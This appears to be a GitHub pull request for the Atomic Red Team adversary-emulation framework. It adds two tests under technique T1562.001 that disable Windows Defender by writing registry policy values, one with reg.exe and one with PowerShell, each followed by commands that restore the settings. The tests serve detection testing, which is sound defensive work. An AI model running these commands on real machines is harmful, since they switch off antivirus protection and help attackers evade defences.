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Added new test that tampers with windows defender registry #2599

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merged 2 commits into from
Nov 17, 2023
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Merged

Added new test that tampers with windows defender registry #2599

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4b278b4
Added new test that tampers with windows defender registry
swachchhanda000 Nov 9, 2023
bcd634b
Merge branch 'master' into defender-tampering
clr2of8 Nov 17, 2023
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93 changes: 92 additions & 1 deletion atomics/T1562.001/T1562.001.yaml
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Expand Up @@ -954,5 +954,96 @@ atomic_tests:
sudo mdatp config real-time-protection --value enabled
name: sh
elevation_required: true

- name: Tamper with Windows Defender Registry - Reg.exe
description: |
Disable Windows Defender by tampering with windows defender registry using the utility "reg.exe"
supported_platforms:
- windows
executor:
command: |
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
cleanup_command: |
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
name: command_prompt
elevation_required: true
- name: Tamper with Windows Defender Registry - Powershell
description: |
Disable Windows Defender by tampering with windows defender registry through powershell
supported_platforms:
- windows
executor:
command: |
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 0
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 0
cleanup_command: |
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 1
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 1
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 1
name: powershell
elevation_required: true